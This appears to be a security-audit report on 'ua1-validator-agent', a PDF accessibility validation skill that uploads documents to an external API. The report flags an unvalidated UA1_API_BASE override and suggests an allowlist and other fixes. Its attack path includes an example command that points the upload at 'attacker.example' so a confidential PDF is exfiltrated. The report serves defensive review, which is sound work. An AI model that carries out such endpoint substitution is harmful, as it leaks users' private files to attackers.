Back to skill

Security audit

Ua1 Validator Agent

Security checks for vulnerabilities and agentic risk

Overview

This skill is a straightforward PDF accessibility validator that uploads selected PDFs to a disclosed remote API, with privacy and endpoint-configuration caveats but no hidden persistence or destructive behavior.

Install only if sending PDFs to the ua1.dev validation service is acceptable for your documents. Do not use it on confidential, regulated, or customer PDFs unless that external upload has been approved, and keep UA1_API_BASE pinned to a trusted endpoint in CI or shared agent environments.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/validate_pdf.sh:14
Finding

Unvalidated API Base URL Allows PDF Exfiltration to an Attacker-Controlled Endpoint

Content
View full analysis

Vulnerability Details

File Location: scripts/validate_pdf.sh, lines 14–25
Vulnerability Type: Untrusted endpoint configuration and sensitive file disclosure
Risk Level: Medium

Vulnerable Code

bash
UA1_API_BASE="${UA1_API_BASE:-https://api.ua1.dev}"
UA1_FORMAT="${UA1_FORMAT:-compact}"

if [[ "$UA1_FORMAT" == "compact" ]]; then
  URL="$UA1_API_BASE/api/validate?format=compact"
else
  URL="$UA1_API_BASE/api/validate"
fi

TMP_BODY="$(mktemp)"
TMP_HEADERS="$(mktemp)"

HTTP_CODE="$(curl -sS -D "$TMP_HEADERS" -o "$TMP_BODY" -w '%{http_code}' \
  -X POST "$URL" \
  -F "file=@${FILE_PATH}")"

Technical Analysis

The script takes UA1_API_BASE directly from the inherited environment and uses it to construct the destination of a multipart upload. It does not validate the URL scheme, destination hostname, port, or presence of embedded credentials.

The curl -F "file=@${FILE_PATH}" argument reads the selected PDF and transmits its contents to the resulting URL. Consequently, an attacker who can influence the environment in which the script runs can replace the documented validation service with an attacker-controlled HTTP or HTTPS endpoint.

Quoting prevents shell command injection through the variable, but it does not prevent endpoint substitution. This is particularly relevant in CI jobs, agent environments, wrapper scripts, or shared shell configurations where environment variables may be supplied indirectly.

Attack Path

  1. The attacker gains influence over the environment used to invoke the validator, such as CI variables, an agent configuration, a wrapper script, or an inherited shell environment.
  2. The attacker sets an alternative endpoint:
    bash
    export UA1_API_BASE="https://attacker.example"
    
  3. A user or automated agent invokes the documented command:
    bash
    bash scripts/validate_pdf.sh confidential.pdf
    
  4. The script constructs:

...[truncated 1185 chars]

Remediation
View remediation

Remediation Suggestions

  1. Remove the UA1_API_BASE override if custom validation servers are not required:

    bash
    readonly UA1_API_BASE="https://api.ua1.dev"
    
  2. If endpoint customization is required, validate it against an explicit allowlist:

    bash
    case "$UA1_API_BASE" in
      "https://api.ua1.dev")
        ;;
      *)
        echo "Untrusted UA1_API_BASE: $UA1_API_BASE" >&2
        exit 1
        ;;
    esac
    
  3. Require HTTPS and reject URLs containing credentials, unexpected ports, query strings, fragments, or non-approved hostnames.

  4. Restrict curl to approved protocols and fail securely:

    bash
    curl --proto '=https' \
      --tlsv1.2 \
      --fail-with-body \
      --connect-timeout 10 \
      --max-time 120 \
      ...
    
  5. Do not enable automatic redirects for file uploads. If redirects are added later, constrain them to the same trusted hostname and HTTPS scheme.

  6. In CI environments, protect endpoint variables from untrusted pull requests and avoid inheriting arbitrary environment configuration into validation jobs.

  7. Clearly disclose in the documentation that PDFs are transferred to an external validation service so users can make an informed confidentiality decision before uploading sensitive documents.

Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (9)

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · README.md (reported line 6)May include surrounding context.

md
Public source for the `ua1-validator-agent` skill.

- ClawHub package: https://clawhub.com/skills/ua1-validator-agent
- API: https://api.ua1.dev/api/validate

## Install (ClawHub)

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 15)May include surrounding context.

md
Public source for the `ua1-validator-agent` skill.

- ClawHub package: https://clawhub.com/skills/ua1-validator-agent
- API: https://api.ua1.dev/api/validate

## Install (ClawHub)

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
92% confidence
Finding

The skill instructs agents to run a shell script, but it does not declare any tool scope or allowed-tools restrictions. That creates an unnecessary trust gap where an agent may invoke shell capabilities without explicit permission boundaries, increasing the chance of unintended command execution or broader filesystem/network access during use.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
90% confidence
Finding

This endpoint definition establishes reliance on an external network service, which expands the trust boundary outside the agent's local environment. Even though the health endpoint may not upload a file, it still discloses environment metadata such as network access patterns and enables workflow decisions based on a third-party service.

Content

Scanner excerpt · SKILL.md (reported line 12)May include surrounding context.

md
## Endpoints

- Health: `GET https://api.ua1.dev/api/health`
- Validate: `POST https://api.ua1.dev/api/validate`
- Compact mode: `POST https://api.ua1.dev/api/validate?format=compact`
- Metrics: `GET https://api.ua1.dev/api/metrics`

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
98% confidence
Finding

The skill tells agents to upload PDFs to an external service but does not clearly warn users that document contents leave the local environment. PDFs often contain sensitive business, legal, or personal data, so silent transmission to a third party can cause confidentiality, compliance, and data-governance issues.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
99% confidence
Finding

The validate endpoint requires uploading a PDF to a third-party service, which can expose sensitive document contents outside the user's control. In an agent workflow this is more dangerous because the skill frames the upload as routine validation, making inadvertent exfiltration of confidential files more likely.

Content

Scanner excerpt · SKILL.md (reported line 13)May include surrounding context.

md
## Endpoints

- Health: `GET https://api.ua1.dev/api/health`
- Validate: `POST https://api.ua1.dev/api/validate`
- Compact mode: `POST https://api.ua1.dev/api/validate?format=compact`
- Metrics: `GET https://api.ua1.dev/api/metrics`

External Transmission

Medium
Category
Data Exfiltration
Confidence
99% confidence
Finding

The compact validation endpoint is another external upload path for full PDF contents, so it carries the same data-exposure risk as the primary validate endpoint. The 'deterministic parsing' framing may further normalize repeated automated uploads in CI or batch workflows, increasing the volume of potentially sensitive data sent externally.

Content

Scanner excerpt · SKILL.md (reported line 14)May include surrounding context.

md
- Health: `GET https://api.ua1.dev/api/health`
- Validate: `POST https://api.ua1.dev/api/validate`
- Compact mode: `POST https://api.ua1.dev/api/validate?format=compact`
- Metrics: `GET https://api.ua1.dev/api/metrics`

## Required contract

External Transmission

Medium
Category
Data Exfiltration
Confidence
90% confidence
Finding

This curl invocation transmits the full PDF contents to a network endpoint derived from UA1_API_BASE, which defaults to an external domain and can also be overridden. In an agent skill context, that is materially risky because automation may process private documents and send them off-host without meaningful review, and an overridden endpoint could redirect uploads to an attacker-controlled server.

Content

Scanner excerpt · scripts/validate_pdf.sh (reported line 27)May include surrounding context.

sh
TMP_BODY="$(mktemp)"
TMP_HEADERS="$(mktemp)"

HTTP_CODE="$(curl -sS -D "$TMP_HEADERS" -o "$TMP_BODY" -w '%{http_code}' \
  -X POST "$URL" \
  -F "file=@${FILE_PATH}")"

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The script uploads the supplied PDF to a remote service without any explicit warning, confirmation, or local-only alternative. Because PDFs commonly contain sensitive or regulated information, silent exfiltration to an external API creates a real confidentiality and compliance risk, especially when invoked by automation or CI where users may not notice the network transfer.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.